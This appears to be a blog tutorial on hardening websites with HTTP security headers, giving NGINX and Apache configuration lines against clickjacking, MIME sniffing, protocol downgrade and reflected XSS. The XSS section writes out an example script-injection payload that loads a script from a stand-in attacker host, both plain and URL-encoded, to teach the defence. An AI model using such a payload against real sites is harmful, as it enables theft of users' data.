Improve Your Website Security in 5 Minutes With These HTTP Headers
Clément Escolano8 min read
By default, a lot of security flaws are introduced when you create a website. A few HTTP headers added in your web server configuration can prevent basic but powerful attacks on your website. If you really have only 5 minutes, you can skip to the end and copy-paste the few lines in your server configuration file. If you have a bit more time, you can go on and read what are these flaws and how you can protect your website from: clickjacking, MIME sniffing attack, Protocol downgrade attack, and reflective XSS.
X-FRAME-OPTIONS
A common threat to websites is clickjacking. A clickjacking attack wants to make you click wherever the attacker wants you to click. This type of attack was largely used on Facebook before they implemented the protection (see here).
How does it work?
Basically, the attacker brings the user to a malicious page. However, the malicious page is hidden behind an innocent/trustworthy page, introduced in the malicious website with an iframe
. The user is tricked into clicking on the regular page but he or she actually clicks on the malicious page. From this, the attacker can achieve whatever malicious action.
Below is an example, where a user is shown an interesting advertisement. While clicking on the button to enjoy the offer, the user will actually buy a car on eBay.
You can find more information here.
How to prevent clickjacking on your website ?
The X-FRAME-OPTIONS
header tells the browser if another website can put your page in an iframe.
- Setting its value to
DENY
will tell the browser to never put your page into an iframe. - Setting its value to
SAMEORIGIN
will tell the browser to never do it except where the host website is the same as the target website.
In most cases, you will want to add this line to your NGINX configuration file:
add_header X-Frame-Options "DENY";
For Apache web server you can add:
Header set X-FRAME-OPTIONS "DENY"
X-Content-Type-Options
Sometimes, the browser tries to guess (or sniff) the type of an object (an image, a CSS file, a JavaScript file, etc). This can be used to make a browser execute some malicious JavaScript file. This issue was so important that Microsoft dedicated a security update for Internet Explorer 8 in part to it.
How does it work?
When your browser loads a file, it reads the Content-Type
header to determine which type it is. If you want to display an image on your webpage, you will generally write this in an HTML page:
<img src="https://example.com/some-image"></img>
What if the some-image
file is HTML instead? If your browser is MIME sniffing the file, it will inspect the content of this file, detect that this is HTML and render the HTML content, along with JavaScript included in the HTML. This means that a user can upload an image with HTML and JavaScript as the content, this JavaScript could be executed on any user displaying this fake image.
You can find more information here.
How to prevent MIME sniffing on your website?
The X-Content-Type-Options
header tells the browser if it should sniff files or not.
Setting its value to nosniff
will tell the browser to never sniff the content of a file. The browser will only use a file if its Content-Type
matches the HTML tag where it is used, and fail otherwise.
Here is the line to add in your NGINX configuration file:
add_header X-Content-Type-Options "nosniff";
For Apache web server you can add:
Header set X-Content-Type-Options "nosniff"
Strict-Transport-Security
HTTPS is a great way to increase the security of your website and your users. However, it is possible to trick your users not to use HTTPS: once this is done, a malicious person can see what a user does on your website!
How does it work?
If you don’t know yet, HTTPS is already a huge step towards improving the security of your website (if you want to include it on your website, I advise using Let’s Encrypt). It prevents all the machines between your user and your server to see what is going on. It also guarantees that your users are talking to the correct website.
However, when visiting a website, your browser will usually try to connect over HTTP, and once the server tells that it supports HTTPS, will upgrade to a secure connection. This represents an issue as a malicious person can intercept this insecure HTTP connection: it is known as a protocol downgrade attack.
You can find more information here.
How to prevent protocol downgrade attack on your website?
There are several ways to prevent this attack. As a user, you can install HTTPS everywhere (on Chrome or Firefox) which make your browser always try HTTPS first. But you can’t force all your users to do this, fortunately, there is a server-side way.
The Strict-Transport-Security
HTTP header (known as HSTS) tells the browser to connect directly with HTTPS to the website. This should be done through a redirection on your server from HTTP to HTTPS. A recommended lifetime for the HSTS header is 1 year and should include subdomains (see here).
Here is the line to add in your NGINX configuration file:
add_header Strict-Transport-Security "max-age=31536000; includeSubDomains";
For Apache web server you can add:
Header set Strict-Transport-Security "max-age=31536000; includeSubDomains"
NB: This prevents the protocol downgrade attack on subsequent visits but not on the first one. You can visit the HSTS preload list website to see how you can prevent it on the first visit as well.
X-XSS-Protection
Cross-site scripting (usually referred as XSS) is a way for a malicious person to take control of the page by injecting a script. If user content is wrongly injected into a website, an attacker can execute some script on your page, and from there do virtually everything.
How does it work?
Usually, a website includes some user content. A messaging service displays the user messages.
A search engine includes the search keywords on the page. The search keywords are also a part of the URL of the search engine. A search for theodo
might look like this https://duckduckgo.com/?q=theodo
.
If a malicious person searches for something like <script src="http://evil.example.com/steal-data.js"></script>
, then the URL will look like https://duckduckgo.com/?q=<script+src%3D"http%3A%2F%2Fevil.example.com%2Fsteal-data.js"><%2Fscript>
. If the keywords are directly injected in the search page, it will show:
And voilà, if someone tricks your users into going to the URL above, the malicious script is executed on your website on someone else’s computer.
You can find more information here.
How to prevent reflected XSS on your website?
The best way to prevent reflected XSS is to escape all user input and to make sure to inject only trusted data in your website. Most modern frameworks do this, but this is sometimes impossible to do so. Another way is to say to the browser to not execute a script
tag if it matches something in the query string. You can do this by adding the header X-XSS-Protection
in the HTTP response and setting its value to 1; mode=block
.
Here is the line to add in your NGINX configuration file:
add_header X-XSS-Protection "1; mode=block";
For Apache web server you can add:
Header set X-XSS-Protection "1; mode=block"
NB: this header actually causes more vulnerabilities on Internet Explorer 8 and older (less than 0.1% of market share). If you need to support these browsers you should disable this header when encountering these.
Exposing server information with Server and X-Powered-By
By default, NGINX and Apache display some information about the server (whether the web server is NGINX or Apache, the server version, perhaps the PHP version and the OS version).
Hiding this information will not prevent a hacker to exploit your server. However, it can direct the hacker to a particular set of attacks where your server is known to be vulnerable. These headers do not have a particular purpose and hiding them is nothing but benefitial.
Here are the lines to add in your NGINX configuration file:
server_tokens off;
// To be set in your proxy block
proxy_hide_header X-Powered-By;
For Apache web server you can add:
ServerTokens Prod
And for a PHP website served by Apache, add this in your PHP configuration file:
expose_php = Off
TL;DR here are the lines you can add to your web server configuration file
Setting a few HTTP headers on your web server can prevent some basic yet powerful attacks on your website. I advise you to do so for every website you own, where it is possible.
For NGINX, add these lines in the configuration file of your website:
add_header X-Frame-Options "DENY";
add_header X-Content-Type-Options "nosniff";
add_header Strict-Transport-Security "max-age=31536000; includeSubDomains";
add_header X-XSS-Protection "1; mode=block";
server_tokens off;
// To be set in your proxy block
proxy_hide_header X-Powered-By;
For Apache, add these lines in the configuration file of your website:
Header set X-FRAME-OPTIONS "DENY"
Header set X-Content-Type-Options "nosniff"
Header set Strict-Transport-Security "max-age=31536000; includeSubDomains"
Header set X-XSS-Protection "1; mode=block"
ServerTokens Prod
NB: if you use Expressjs, all these recommendations can be easily applied with the NPM package helmet. However, I recommend setting HTTP headers (and other concerns as compression and cache) on the web server side instead of Expressjs side because it is more efficient and improves the performance of your application.